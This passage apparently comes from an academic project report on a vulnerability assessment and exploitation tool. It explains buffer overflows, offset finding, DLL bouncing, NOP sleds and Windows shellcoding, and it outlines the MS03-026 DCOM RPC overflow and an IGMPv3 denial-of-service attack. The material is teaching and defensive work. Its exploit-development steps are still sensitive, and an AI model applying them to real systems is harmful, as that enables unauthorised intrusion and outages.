difficult. However, the critical interaction required by the attacker is locating specifically

which computers run the targeted application.

Vulnerability Scanning is the automated procedure by which we can scan the operating

system as well as the applications for known vulnerabilities. The goal of running a

vulnerability scanner is to identify devices on the network that are open to known

vulnerabilities. Different scanners accomplish this goal through different means. Some

may look for signs such as registry entries in Microsoft Windows operating systems, to

identify that a specific patch or update has been implemented. Others scanners like

Nessus, actually attempt to exploit the vulnerability on each target device rather than

relying on registry information.

Another issue with vulnerability scanners is of their impact on the target hosts and

devices that they scan. On one hand we want the scan to be able to be performed in the

background without affecting the device but on the other hand, we want to be sure that

the scan is thorough. Often, in the interest of being thorough and depending on how the

scanner gathers its information or verifies that the device is vulnerable, the scan can be

intrusive and can cause adverse affects and even system crashes on the computers or

device being scanned. The important Vulnerability scanners are Nessus, Retina GFI

Langaurd, Canvas etc.


31

2.4 System Exploitation

This phase deals with the different aspects techniques used to gain and maintain access in

a targeted system, based on the knowledge of the vulnerabilities gained in the intelligence

gathering phase. We discuss different techniques including password guessing, denial of

service, buffer overflows, privilege escalation, sniffing, covering tracks.

2.4.1 Sniffing Sniffing might be considered part of intelligence gathering phase prefacing an attack but

can just as well be argued to be part of the system hacking phase. Sniffers traditionally

used by network administrators for traffic monitoring and LAN troubleshooting have also

been one of the most commonly used attack tools over the years. On a LAN, every host

can see all the traffic broadcast on the LAN medium, but normally ignore the packets that

are addressed to other hosts. A sniffer program puts the network interface of a host into

promiscuous mode to capture all packets seen on the LAN medium. Thus, the sniffer can

eavesdrop on everything transmitted on the LAN including user names, passwords, DNS

queries, e-mail messages, and all types of personal data.

Many free and commercial sniffers are available, including tcpdump, windump, Snort,

Ethereal, Sniffit, and dsniff

2.4.2 Password Guessing Passwords continue to be very frequently used for access control despite their major

weakness: if a password is guessed or stolen, an attacker could gain complete access. The

most well protected systems could be compromised by a single weak password.

Understandably, many attacks are often directed at guessing or bypassing passwords.

A password cracker is an application program that is used to identify an unknown or

forgotten password to a computer or network resources. It can also be used to help a

human cracker obtain unauthorized access to resources. Password crackers use different

methods such as weak encryption, brute-force search, dictionary searches, etc.


32

2.4.3 Buffer Overflow Attack A buffer overrun is when a program allocates a block of memory of a certain length and

then tries to stuff too much data into the buffer, with extra overflowing and overwriting

possibly critical information crucial to the normal execution of the program. A common

implementation is when a user of the program gives the program more data than the

developers of the program allocated to store it. Simply, it is copying 20 bytes to an array

that can handle only 12 bytes.

Buffer overflow exploits are potentially the most insidious of information security

problems. A buffer overflow essentially takes advantage of applications that do not

adequately parse input by stuffing too much data into undersized receptacles. They occur

when something very large is placed in a box too small for it to fit. Depending on the

environment, the resulting overflow of code typically has unfettered capacity to execute

whatever arbitrary functions a hacker might want. Programs that do not perform proper

bounds checking are common, and buffer overflow exploits are well known across most

UNIX and Windows platforms. A large number of exploits floating around the Internet

take advantage of a buffer overflow problem in one form or another.

Buffer overflow attacks work by putting too much data onto the memory stack, which

causes other information that was on the stack to be overwritten. Important information

like operating system data needs to be stored and accessed from the memory stack to

ensure that the system functions properly. With a buffer overflow attack, if enough

information can be overwritten in memory, the system cannot function, and the operating

system will crash.

The other type of buffer overflow attack is the execution of code that the attacker chooses

to run. Because a buffer overflow attack puts too much data into memory, if the attacker

is careful, he can overwrite just enough information on the stack and overwrite the return

pointer. By doing this, he can cause the pointer to point to the attacker’s code instead of

the actual program, causing his code to be executed. This code can be anything.


33

Knowledge required to write a Buffer Overflow Exploit includes:

• C functions and the stack

• A little knowledge of assembly/machine language.

• How system calls are made (at the level of machine code level).

• exec system calls

• Methods to reliably 'guess' some key parameters.

When programs don’t check and limit the amount of data copied into a variable’s

assigned space, that variable’s space can be overflowed. When that buffer is overflowed,

the data placed there goes into the neighboring variable’s space and eventually into the

pointer space.

To cause code to be executed, an attacker takes advantage of this by precisely tuning the

amount and content of data necessary to cause the buffer to overflow and the operating

system stack to crash. The data that the attacker sends usually consists of machine

specific bytecode (low level binary instructions) to execute a command, plus a new

address for the return pointer. This address points back into the address space of the

stack, causing the program to run the attacker’s instructions when it attempts to return

from the subroutine.

A key point to remember is that the attacker’s code will run at whatever privileges the

software that is exploited is running at. In most cases, an attacker tries to exploit

programs that are running as a privileged account such as root or domain administrator,

which means that after he has control, he can do whatever he wants.

2.4.4 DoS Attack A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS

attack) is an attempt to make a computer resource unavailable to its intended users.


34

On February 6th, 2000, Yahoo portal was shut down for 3 hours. Then retailer Buy.com

Inc. (BUYX) was hit the next day, hours after going public. By that evening, eBay

(EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the morning,

the mayhem continued with online broker E*Trade (EGRP) and others having traffic to

their sites virtually choked off. (Business Week Online, 12 February 2000)

A Denial of Service attack (DoS) is an attack through which a person can render a system

unusable or significantly slow down the system for legitimate users by overloading the

resources so no one else can access it. This can also result in someone damaging or

destroying resources, so they cannot be used. Denial of Service attacks can either be

deliberate or accidental. It is caused deliberately when an unauthorized user actively

overloads a resource. It is caused accidentally when an authorized user unintentionally

does something that causes resources to become unavailable.

2.5 Escalation and Advancement

2.5.1 Privilege Escalation Privilege escalation is the act of exploiting a bug in an application to gain access to

resources which normally would have been protected from an application or user. The

result is that the application performs actions with a higher security context than intended

by the application developer or system administrator. For example, if an attacker gains

access to the network using non-admin user account, the next step would be to gain

higher privilege levels; to that of an administrator.

2.5.2 Advancement Advancement is basically attempting to move on from the compromised target to find

other vulnerable systems. For example, in a network test this will consist of hopping

from one system to another, potentially using the access obtained on the original target to

access other systems. In a physical test, this might involve moving from one


35

compromised building to another. This is sometimes also called staged attack. In the first

stage you compromise a vulnerable machine and then in next stage you attempt to

compromise another vulnerable machine through this machine. This might involve

writing some libraries or program into the RAM of victim machine.

2.6 Summary

In this chapter, we discussed about vulnerability assessment and system exploitation. We

explained the need of such VA tool for an Enterprise LAN. In section 2.1, we explained

the entire penetration test cycle and in the later sections we explained all stages of

vulnerability assessment including various techniques and tools available for the same.


36

Chapter 3

Framework Architecture of VA The architectural model of the tool has been developed to automate the entire stages of

the vulnerability assessment into a single framework.

3.1 Architectural Model Figure 3.1 below describes the architectural model of our tool. The heart of the tool is the

Knowledge Base, the main repository of all information (such as system properties and its

corresponding vulnerabilities, exploits and available patches) and all other activities

primarily revolve around it. The data store System Characteristics is populated by four

processes namely, Obtain Footprint, Scan Ports, Fingerprint OS and Fingerprint

Services. It contains information that is specific to a given system such as domain name,

IP address, open ports, services running on these ports and their versions, operating

system type and their versions, user access privileges, etc. The process Scan Vulnerabilities

takes the system attributes as input from the data store System Characteristics, matches it with

corresponding data from the Knowledge Base and appropriately populates the data store System

Vulnerabilities. The process Exploit Target then takes as input the vulnerabilities present in a

particular target system for a given set of system properties and matches it with the Knowledge

Base to select a suitable exploit to compromise the target. Similarly, the process Patch Target

selects appropriate patches by referring the Knowledge Base and system based on information

about vulnerabilities present in the system.


37

Knowledge Base

System Characteristics

System Vulnerabilities

ObtainFootprint Scan Ports Scan Vulnerabilities

Exploit Target Patch Target

Processes

Data Stores

Architectural Model of Tool

Fingerprint OS

FingerprintServices Knowledge Base





Processes

Data Stores


Knowledge Base





Processes

Data Stores

Knowledge Base





Knowledge Base




Knowledge Base



ObtainFootprint Scan Ports Scan VulnerabilitiesObtain

Footprint Scan Ports Scan Vulnerabilities


Processes

Data Stores


Fingerprint OS

FingerprintServices

Figure 3.1: Architectural model of VA tool

3.2 The Knowledge Base

Figure 3.2 below shows the model of our envisaged Knowledge Base in the form of an

ER-Diagram. The entity set System Properties has operating system, applications

running along with their versions and system privileges as its main attributes. A distinct

combination of these attributes maps to a distinct set of vulnerabilities from the

Vulnerabilities entity set. These vulnerabilities in turn can be exploited by a certain set of

exploits or patched by a certain set of patches. Again, each exploit can use a distinct set

of payloads to compromise a target system and perform a certain specific task on it, such

as opening a new shell. The Vulnerabilities entity set along with Patches, Exploits and

Payloads are regularly updated from the publicly available databases on the web either

completely manually or in a semi-automated fashion.


38

AddExploits /Payloads

System Properties

ApplicationsOS Port

Target IP

Exploit Database Exploits Web Interface/

Console

Has Vulnerabilities

Vulnerabilities

Use Exploits

Develop Exploits Add

Exploits /Payloads

System Properties

ApplicationsOS Port

Target IP


Console

Has Vulnerabilities

Vulnerabilities

Use Exploits

Develop Exploits

System Properties

ApplicationsOS Port

Target IP


Console

Has Vulnerabilities

Vulnerabilities

Use Exploits

Develop Exploits

Figure 3.2: Knowledge base

3.3 System Functions

There are essentially four main functional areas of the Vulnerability Assessment tool

which have presently been developed they are as mentioned below:

• Network Scanning: The network scanner will present the user with several options

for analyzing a particular host or group of hosts. The information provided will

include The utility will be able to detect:

o Whether a given host or a range of hosts are currently active,

o The target operating system (to fairly good accuracy),

o Currently active ports,

o Services running on these ports.

• Vulnerability Assessment: Once the penetration tester has gathered the system

properties (such as the operating system and the application running) of a given target

using the network scanning utility, he/she can proceed to find out if a specific target

or a set of targets are vulnerable to attacks. The vulnerability assessment utility

provides this functionality.


39

• Exploitation: Once the vulnerabilities a given host is known, the Vulnerability

Assessment tool may actually proceed to attack that host on that

vulnerability/weakness. This functionality is provided by the exploitation Framework.

Various attacks such as privilege escalation, denial of service, getting the system

access, crashing the host, etc. may be launched.

• Advancement: Once a vulnerable system is compromised, our framework can hop

to another vulnerable machine via the compromised machine. This procedure is called

as “advancement”. One exploit as a proof-of-concept (PoC) has been written for

hopping the machines and getting the access of the target machine via an intermediate

machine.

3.4 Exploitation Methodology

The exploitation of the remote host is carried out by sending specially crafted packets or

attack string which is able to take advantage of the known vulnerabilities and their

behavior. The exploitation daemon takes the CVE ID [24] or the system parameters of the

vulnerabilities found as the input and then checks the knowledge base for known exploits

that are usable against these vulnerabilities. These exploits are then presented to the user

and then can be launched one by one to see the effect of the exploitation. The exploitation

can result in denial of service, privilege escalation or gaining remote access of the target

host. In exploitation process an attacker tries to gain access to a system by delivering a

specially crafted payload, which contains arbitrary code that gets executed on the targeted

system. There are several types of exploits. Some of these are Buffer Overflow, SQL

Injection, etc. The details about exploit writing and payload development are discussed in

Chapter 4 and 5.

3.5 Exploitation Framework

Exploitation framework is based on MVC architecture. The framework uses Ruby on

Rails platform with MySql as the backend database. Ruby on Rails, often called RoR, or

just Rails, is an open source web application framework written in Ruby that closely


40

follows the Model-View-Controller (MVC) architecture. It is a user-friendly tool

allowing fast and easy development of database-backed real-world web applications in

less code than other frameworks and with a minimum of configuration. The Ruby

programming language allows for extensive meta-programming, and Rails makes

extensive use of this. The operating system used is Fedora core 6.

3.5.1 Description of the proposed MVC Based Framework The MVC architecture is as shown in figure 3.3. It consists of model, views and

controller.

The Model Rails support an object-oriented model and hence like in other MVC architectures, the

proposed database-driven model also consists of the classes representing RDBMS tables.

The model classes are handled through the Rails’ Active Record module. For each table

in database, there exists a corresponding class in the application. This class then has all

functions needed to create, find, update, and delete rows in the database table.

For example, if there is a class System_Properties, the following code:

a = System_Properties.new

a.os = "WindowsXP"

a.application = "ftp.”

a.save

is conceptually equivalent to the following SQL command:

INSERT INTO System_Properties (os, application)

VALUES ('windowsXP', 'ftp');


41

Figure 3.3: MVC architecture

The View View provides the display logic, or how the data from the Controller classes is displayed.

In web applications, this frequently consists of a minimal amount of code, interspersed in

HTML. A bulk of the underlying view code is handled by the Rails’ module Action Pack.

Most of the front-end of our tool has been developed using embedded ruby (.rhtml files),

which are basically fragments of HTML with some Ruby code interspersed. For each

method in the controller that needs to display user output, a small RHTML code fragment

needs to be written. The page layout is described separately from the controller action

that displays layouts, and the fragments can also call other fragments.

The Controller The Controller classes respond to user interaction and call the application logic, which in

turn manipulates the data in Model and displays the data through View. The Controller

methods are initiated by the user through the web browser. A major part of the Controller

implementation is handled through the Rails' Action Pack module, which contains the

class ApplicationController. The controller classes inherit the ApplicationController and

write required actions as methods, which can then be accessed through the web.

3.6 Usage Model

The VA tool has a client-server based usage model. The application in its entirety resides

on a centralized server. Each authorized user is able to access the tool through a secured

web-based interface


42

To ensure Information Security in an organization one needs to ensure that every single

person is aware of the security policies and they all abide by them. As new vulnerabilities

are being discovered each day the vulnerability scanning and patching is an exercise that

has to be performed with unfailing regularity and each and every individual should be

equipped to perform it.

The VA tool is therefore designed with an aim that even a layman with minimal training

is easily able to perform the designated tasks. The system administrator would be

required to update the system with the latest plug gins and exploits required by the

organisation. This would ensure that all scans performed by any user would be run with

the latest plug gins in place.

The tool is based on client server architecture. To ensure that absolutely no installation is

required at the client side the tool supports a web browser based client. This along with

click and use functionality of the tool ensures ease of use by each and every individual of

the organisation, with minimal knowledge of penetration testing.

The user on connecting to the server IP address with its cookie enabled web browser is

presented the log in screen. On entering the correct username and password the user is

directed to the Main Menu. The main menu or the home page has the following options

a) Scan Network

b) Assess Vulnerabilities

c) Exploit Target

All interactions with the user shall be via the front-end. It will make use of a cookie and

password protection feature to provide confidentiality. All one needs to access the front

end is a web browser. Every option is selected by clicking on the button provided by the

side of the option. The GUI is very user friendly and all the functions can be performed

with a single click of mouse.


43

3.7 Summary

This chapter gave a detailed knowledge on our framework architecture. We discussed the

MVC architecture of Ruby-on-Rails which we followed and implemented in our tool. We

saw the ER diagram of the VA tool which was self explanatory.


44

Chapter 4

Developing Exploits

As mentioned before, exploit is a piece of software or sequence of commands that take

advantage of a bug or vulnerability in order to cause unintended or unanticipated

behavior to occur on computer software or hardware. This frequently includes such

things as gaining control of a computer system, allowing privilege escalation or a denial

of service attack.

There are several methods of classifying exploits. The most common is by how the

exploit contacts the vulnerable software. A remote exploit works over a network and

exploits the security vulnerability without any prior access to the vulnerable system. A

local exploit requires prior access to the vulnerable system and usually increases the

privileges of the person running the exploit past those granted by the system

administrator. Exploits against client applications also exist, usually consisting of

modified servers that send an exploit if accessed with client application.

Another classification is by the action against vulnerable system: unauthorised data

access, arbitrary code execution, denial of service. Many exploits are designed to provide

superuser-level access to a computer system. However, it is also possible to use several

exploits, first to gain low-level access, then to escalate privileges repeatedly until one

reaches root.

Normally a single exploit can only take advantage of a specific software vulnerability.

Often, when an exploit is published, the vulnerability is fixed through a patch and the

exploit becomes obsolete for newer versions of the software. This is the reason why some

blackhat hackers do not publish their exploits but keep them private to themselves or

other malicious crackers. Such exploits are referred to as zero day exploit'.

http://en.wikipedia.org/wiki/System_administrator

http://en.wikipedia.org/wiki/System_administrator

http://en.wikipedia.org/wiki/Client_application

http://en.wikipedia.org/wiki/Patch_%28computing%29


45

The objective of this project is to work on known exploits, i.e., exploits which are known

publically for the vulnerabilities and for which fixes are available. Since, the present

version of the VA tool does not have the password cracking module in place, therefore

we have been working only for writing remote exploits in Ruby. Once, the password

cracker is integrated with the VA tool then through Brute forcing we would be able to

enter the vulnerable machine and then only the local exploits would be of any help. This

chapter would explain the art of writing a Exploit, specially a Zero Day Exploit. Since,

we have written a buffer overflow exploit, therefore section 4.1 discusses the buffer

overflow bug in detail.

4.1 Buffer Overflow Attack A buffer overflow is an anomalous condition where a process attempts to store data

beyond the boundaries of a fixed-length buffer. The result is that the extra data overwrites

adjacent memory locations. The overwritten data may include other buffers, variables and

program flow data and may cause a process to crash or produce incorrect results. They

can be triggered by inputs specifically designed to execute malicious code or to make the

program operate in an unintended way. As such, buffer overflows cause many software

vulnerabilities and form the basis of many exploits.

To understand it better let’s first understand the running of a process and its memory

organisation. Typically, every process starts running with three segments:

• Code segment

• Data segment

• Stack segment


46

Figure 4.1 shows the process memory organisation:

env / argv pointers

stack

heap

bss

Initialised data

text

0x8000000

0xBFFFFFFF

shared libraries etc

Figure 4.1: Process memory organisation

Text Segment is a read-only part that includes all the program instructions. Data Segment

is the block where initialized and uninitialized (which is also known as BSS) data is

stored. A segment, which is called Stack, where dynamic variables (or in C jargon,

automatic variables) are allocated and deallocated; and where return addresses for

functions are stored temporarily.

Figure 4.2 shows the stack segment at the time of function calls:

parametre_I EBP+12parametre II EBP+8return adress EBP+4saved_ESP EBP ESPlocal var I EBP-4local var II EBP-8

Figure 4.2: Stack segment


47

Let’s take an example of a normal C code:

void f(char *str)

{

char foo[16];

strcpy(foo, str);

}

void main()

{

char large_one[256];

memset(large_one, 'A', 255);

f(large_one);

}

The stack segment at the time of calling the function void f(char *) would look like as

shown in figure 4.3.:

large_one EBP+8return address EBP+4saved ESP EBP ESP

foo EBP-4foo EBP-8foo EBP-12foo EBP-16

Figure 4.3: Stack segment

It is quite clear from the above C program and its stack segment that if we copy more

than 16 bytes into foo char buffer, it will overflow the buffer and the subsequent data will

overwrite the adjacent memory locations. In the above example C code we are stuffing


48

256 bytes of data into foo char buffer, it will result in a buffer overflow condition where

in the saved ESP, the return pointer, etc will be overwritten by the ASCII code of ‘A’

(0x41). At the time of function return, incorrect return pointer will pop up into EIP

causing program to exit unexpectedly. We will get a segmentation fault if we execute the

above example code.

Now, if we create a char string in such a way that after overflowing the buffer it replaces

the return address with a valid process address from where the malicious code can be

placed for execution. This is called attack string which is the final string which

overflows the buffer on target machine, thereby replacing the return pointer with a valid

address and places the shellcode from that address onwards for execution. The next

section explains in detail how to create an Attack string.

4.2 Creating Attack String

4.2.1 Determining the Attack Vector An attack vector is the means by which an attacker gains access to a system to deliver a

specially crafted payload. This payload can contain arbitrary code that gets executed on

the targeted system. The first step in writing an exploit is to determine the specific attack

vector against the target host.

4.2.2 Finding the Offset To pass the control to the malicious code, the return address should point to the start

address of the malicious code. This needs to be calculated after overflowing the buffer.

We need to know which particular set of characters overwrote the return address and then

we calculate the offset from the start of the attack string. For this purpose there are tools

available which generate a random string in which any four consecutive characters are

unique. Through debugging, the content of EIP can be found out on the target machine to

check which four characters overwrote the return address, i.e. the current entry in EIP

register. Then passing these four characters to the tool will tell the offset. One such tool is

Metasploits where we have two functions called PatternCreate and PatternOffset. These


49

two functions can be used to find out the exact offset in the memory for overwrite the

return address. Figure 4.4 explains an example of finding out offset in one such scenario.

The first block is a string of 4000 characters which is sent to overflow the buffer. The

second block specifically identifies the 4 bytes which overwrote the return address. As

explained before this can be found out using utilities like PatternCreate and PatternOffset.

.

Figure 4.4: Determining offset

4.2.3 Selecting a control vector

Much like how an attack vector is the means by which an attack occurs, the control

vector is the path through which the flow of execution is directed to our code. At this

point, the goal is to find a means of shifting control from the original program code over

to a payload that will be passed in our attack string. In a buffer overflow attack that

overwrites the return address, there are generally two ways to pass control to the payload.

The first method overwrites the saved return address with the address of the payload on

the stack; the second method overwrites the saved return address with an address inside a

shared library. The instruction pointed to by the address in the shared library causes the

process to bounce into the payload on the stack.

The first technique overwrites the saved return address with an address of the payload

located on the stack. As the processor leaves the vulnerable function, the return address is

popped into the EIP register, which now contains the address of our payload. It is a

common misconception that the EIP register contains the next instruction to be executed;


50

EIP actually contains the address of the next instruction to be executed. In essence, EIP

points to where the flow of execution is going next. By getting the address of the payload

into EIP, we have redirected the flow of execution to our payload.

Unfortunately, the base address of the Windows stack is not as predictable as the base

address of the stack found on UNIX systems. What this means is that on a Windows

system, it is not possible to consistently predict the location of the payload; therefore,

returning directly to the stack in Windows is not a reliable technique between systems.

Yet the shell code is still on the stack and must be reached. This is where the second

method, using a shared library trampoline, becomes useful to us.

The idea behind shared library bouncing is to use the current process environment to

guide EIP to the payload regardless of its address in memory. The trick of this technique

involves examining the values of the registers to see if they point to locations within the

attack string located on the stack. If we find a register that contains an address in our

attack string, we can copy the value of this register into EIP, which now points to our

attack string. To copy this register content we need help of instructions like, CALL EAX

or JMP EAX. In addition we need to find out the exact address of such instruction in the

library (.dll file) which is loaded along with the process. Figure 4.5 shows the shared

library bouncing technique.

Figure 4.5: DLL bouncing technique


51

4.2.4 Finding a Return Address

When returning directly to the stack, finding a return address simply involves examining

the debugger’s stack window when EIP is overwritten in order to find a stack address that

is suitable for use. Things become more complicated with the example because DLL

bouncing is the preferred control vector. First, the instruction to be executed is selected.

Second, the op-code for the instruction is determined. Next, we ascertain which DLLs are

loaded by the target application. Finally, we search for the specific op-code through the

memory regions mapped to the DLLs that are loaded by the application.

4.2.5 Determining Space Limitations

We must now calculate the amount of space available. More the space, more the code,

and if more the code, wider the selection of payloads that can be executed. To find the

amount of space before the return address is easy. However , one could make use of the

space after the return address as well .To know how much space is available after the

return address , the exploit script needs to be modified to append more data after the

return address. Once the space available after the return address is also determined, a

payload can use both of these portions. Figure 4.6 shows the space which might be

available for the payload. As shown in figure, both the free blocks can be utilized by

having a JMP instruction at suitable place in the payload.

Figure 4.6: Determining space limitations

4.2.6 NOP Sleds

EIP must land exactly on the first instruction of a payload in order for it to execute

correctly. Because it is difficult to predict the exact stack address of the payload between


52

systems, it is common practice to prefix the payload with a no operation (nop) sled. A

nop sled is a series of nop instructions that allow EIP to slide down to the payload

regardless of where EIP lands on the sled. As shown in figure 4.7, by using a nop sled,

we increase the probability of successful exploitation because it extends the area where

EIP can land while also maintaining the process state.

Figure 4.7: Nop sled

4.2.7 Creating a Payload or Shellcoding

A payload is the malicious code which needs to be executed on the target machine. The

final stage of the exploit development process involves the creation and encoding of a

payload that will be inserted into the attack string and sent to the target to be executed. A

payload consists of a succession of assembly instructions which achieve a specific result

on the target host such as executing a command or opening a listening connection that

returns a shell. The shellcoding is described in Chapter 5, where we will get the detailed

idea about creating a shellcode and its various types.

Once all these steps are done, the exploit code can be executed sending the attack string

to the target machine and gaining its access for further control. The exploits which have

been developed are integrated with the exploitation framework from where these can be

launched on the target machines. In the next paragraph, we will understand

implementation of one such exploit called DCOM_RPC exploit.


53

4.3 Implementation of DCOM_RPC Buffer Overflow Attack

On July 16, 2003 Microsoft released security bulletin MS03-026 which warned of a

Buffer Overflow in the Remote Procedure Call (RPC) Interface. The fault was

specifically in a component of the RPC Interface known as Distributed Component

Object Model (DCOM). The exploit works by requesting a network connection to the

target on port 135 and sending some specifically constructed data. The data when

processed by RPC triggers a buffer overflow condition, which leads to the ability to

execute code with System Privileges. This buffer overflow was discovered by the Polish

research group “Last Stage of Delirium” (LSD)5 and reported to Microsoft. Microsoft

acknowledged the groups efforts in the release of bulletin MS03-026. This vulnerability

is present in all the SP of Windows 2000 and Windows XP – SP0 and SP1.

The attack functions by exploiting an unchecked copy operation into a 32-byte buffer that

occurs in function "GetMachineName". By sending a crafted request with a hostname of

greater than the maximum length allowed for a NetBIOS hostname it is possible to

trigger the overflow condition. The exploit works in this manner:

• Open a TCP connection to port 135.

• Send an RPC request for the file

\\servername\c$\123456111111111111111111111111111.doc on the target machine

which causes the buffer to overflow.

• Issue instructions to the operating system via the overflowed buffer, especially to

start a command shell on port 8721 with system permissions.

• The exploit then connect to this shell giving the attacker access.

Code for the above exploit has been written in Ruby scripting language and has been

integrated with the exploitation framework. This framework takes input from the

knowledge base and database of VA tool. The IP address on which the attack is to be

launched is taken from vulnerability database, where the scan report is saved. It is

imperative to note that only those exploits will be listed on launch page for which

vulnerability has been found on target machine by the vulnerability scanner. Therefore, if


54

RPC service running on port 135 has the vulnerability than only DCOM_RPC exploit

will be listed. This mapping is done with the help of Knowledge base, where all the CVE

ids are mapped to its respective Exploit code.

4.4 Denial of Service (DoS)

A Denial of Service attack (DOS) is an attack through which a person can render a

system unusable or significantly slow down the system for legitimate users by

overloading the resources so no one else can access it. This can also result in someone

damaging or destroying resources, so they cannot be used. Denial of Service attacks can

either be deliberate or accidental. It is caused deliberately when an unauthorized user

actively overloads a resource. It is caused accidentally when an authorized user

unintentionally does something that causes resources to become unavailable.

4.5 Implementation of IGMP_V3, Denial of Service (DoS) Attack

Microsoft Windows operating systems use Transmission Control Protocol/Internet

Protocol (TCP/IP) as the standard protocol for transmitting data between hosts over a

network. The Internet Group Management Protocol (IGMP) is a TCP/IP communications

protocol for managing IP multicast group memberships, and is used by IP hosts and

multicast routers to establish these group memberships. Four versions of IGMP exist.

A denial of service vulnerability exists in the IGMP version 3 implementation of

Microsoft Windows XP and Server 2003 operating systems. This vulnerability is due to a

flaw when handling fixed length IP Header Options while processing IGMP version 3

Membership Query messages. If IP options exist in the IP header of an IGMP version 3

Membership Query message, the tcpip.sys driver will attempt to locate the Router Alert

Option by going through the list of supplied options and adding the previous

option's length field value to the base index. If a 1-byte option is encountered, and

is followed by an End of Option, then the End of Option option code will be interpreted

as the length of the option field of the option being examined, and is added to the base


55

index in order to move on to the next option. As a result, the same option is analyzed in

subsequent loop iterations causing an infinite loop. Since the TCP/IP stack driver code

runs in the kernel context, the CPU cannot be used for other tasks; therefore, a denial of

service condition occurs. In this case, the target host must be restarted to resume

functionality.

A remote, unauthenticated attacker could cause a system-wide denial of service by

sending a crafted IGMP version 3 messages to a vulnerable host. The vulnerability is

exploited upon processing of the massage.

Code for the above DoS attack is also written in Ruby scripting language and has been

integrated with the exploitation framework. In this code, a RAW packet is crafted and

sent to the target machine as an IGMP membership query message.

4.6 Summary

This chapter provided a detailed knowledge and skills required for writing buffer

overflow attacks an denial of service (DoS) attacks. In section 4.1, we explained the

problem related to buffer and discussed buffer overflow attacks in detail. Section 4.2

provides a detailed knowledge on how to write an exploit code and create the attack

string. In the later sections we explained the implementation of our exploit codes and

DoS attacks.


56

Chapter 5

Shellcoding

5.1 Overview

Shellcoding or writing payloads is a totally different art altogether. This is the code which

finally gets executed on the victim machine. A shellcode is a small piece of code used as

payload in the exploitation of a software vulnerability. It is called "shellcode" because it

typically starts a command shell from which the attacker can control the compromised

machine. But the function of a payload is not limited to merely spawning a shell, it can be

written to perform another kind of task. Shellcode is commonly written in machine code.

However, writing a program in machine languge is not feasible that’s why they are

written in low level assembly langauage and then converted into hexadecimal opcode

string. Shellcode is written in machine code because of the low level at which the

vulnerability being exploited gives an attacker access to the process.

Writing shellcode involves an in-depth understanding of assembly language for the

target architecture in question. Shellcode is therefore often created to target one specific

combination of processor, operating system and service pack, called a platform. Within

shellcode, system calls are used to perform actions, for example creating a socket or

spawning a shell. Therefore, shellcodes are OS-dependent because different operating

systems use different system calls.

Shellcode can either be local or remote, depending on whether it gives an attacker control

over the same machine as it runs on (local) or over another machine through a network

(remote).


57

Local shellcode

A local shellcode is used by an attacker who has limited access to a machine but can

exploit a vulnerability in a process on that machine that has higher privileges. If

successfully executed, the shellcode will provide the attacker access to the machine with

the same higher privileges as the targeted process. Local shellcode is relatively easy to

create, often the only thing it does is execute a shell executable.

Remote shellcode

A remote shellcode is used when an attacker wants to target a vulnerable process running

on another machine on the local network or internet. If succesfully executed, the

shellcode can provide the attacker access to the target machine across the network.

Remote shellcodes normally uses standard TCP/IP socket connections to allow the

attacker access to the shell on the target machine. Such shellcode can be sub-divided

based on how this connection is set up: if the shellcode establish this connection, it is

called connect-back shellcode because the shellcode connects back to the attacker's

machine. On the other hand, if the attacker needs to create the connection, the shellcode

is called a bindshell because the shellcode binds to a certain port on which the attacker

can connect to control it.

5.2 Basic Requirements of writing a Shellcode

5.2.1 Tools During the shellcode development process, we require many tools to write, compile,

convert, test, and debug the shellcode. Understanding how these tools work will help us

to become more efficient in the creation of the shellcode.

• nasm: The nasm package contains an assembler named nasm and disassembler

named ndisasm. The nasm is used to compile the assembly file into binary format

or any other format as desired.

• MASM32_Editor: This again contains an assembler, a compiler and editor. This

can be used to convert binary file (.com or .exe) into a hexadecimal opcode string.

http://en.wikipedia.org/wiki/Local_area_network

http://en.wikipedia.org/wiki/Internet

http://en.wikipedia.org/wiki/Internet_protocol_suite

http://en.wikipedia.org/wiki/Stream_socket


58

• IDA: Interactive DisAssembler is again similar to above two tools but it can

only disassemble the binary into assembly or hexadecimal string.

• Gdb: gdb is a GNU debugger. It is mainly used in the Linux environment for

writing Linux shellcodes.

• Objdump: objdump is a tool that can be used to disassemble files and to

obtain important information from them. Even though we don’t use it in the

shellcode archive, it deserves some attention because it can be useful during

shellcode development.

5.2.2 Assembly Language Every processor comes with an instruction set that can be used to write executable code

for that specific processor type. Using this instruction set, we can assemble a program

that can be executed by that processor. Because of the size limitation of the payload, the

shellcodes are written in assembly language. If we write the same code in C, the end

result would be hundreds of times bigger because of all the extra data that is added by the

compiler.

Writing programs in assembly code can be very efficient but it also has many

disadvantages. Large programs get very complex and hard to read. Also, because the

assembly code is processor-dependent, we can’t port it to other platforms. In addition, we

can’t even port the program to different operating system running on the same processor.

This is because a program written in assembly contains hard-coded system calls or library

functions and these differ a lot depending on the OS.

Windows vs UNIX Assembly

Writing shellcode for windows differs a lot from writing shellcode from UNIX systems.

In Windows , we have to use functions exported by libraries, while in UNIX we can just

use system calls. This means that in Windows we need exact pointers to the library

functions in order to use them and we don’t have luxury of calling a function by using a

number – as is done in UNIX. Windows shellcode writing is thus harder to do and often

results in a very large piece of shellcode.


59

For the purpose of this project, we have written Windows shellcodes by hard coding the

function addresses in assembly. Therefore, we would be discussing shellcoding specific

to Windows operating system only.

5.2.3 The Addressing Problem

Normal programs refer to variables and functions using pointers that are often defined by

the compiler or retrieved from a function such as malloc, which allocates memory and

returns a pointer to this memory. For writing shellcode we also like to refer to a string or

other variable (e.g., when we write cmd.exe shellcode, we need a pointer to the string that

contains the program we want to execute). Since shellcode is injected into a program

during runtime, we have to statically identify the memory addresses where it is being

executed (e.g., a code containing a string will have to determine the memory address of

the string before it can use it).

This is a big issue, because if we want the shellcode to use library functions as in case of

Windows that require pointers to arguments, we have to know where the argument values

are located in memory. The solution is to push the arguments onto the stack and then call

the address pointer of the library function. Therefore, using the call and jmp instructions

comes very handy in addressing variables or functions. In addition push instruction is

used to push the parameters onto stack, which will be required by the library function.

5.2.4 Implementing System calls and library functions

We need to know the address pointers of the library functions being used in the assembly

code. For example, if we are writing a remote shellcode which requires a network

connection than we need to know the pointers of WSASocket(), bind(), listen() and

accept() library functions. There are various mechanisms available to find the exact

address of these functions, but we will not go into details of finding them, since they are

freely available for all version of Windows operating System. There are certain DLL files

like kernel32.dll which automatically gets loaded into process memory space. And, if we

are using a library function for which it’s respective DLL (where it has been defined) is


60

not loaded then the process has to load it first before using the function pointers. This is

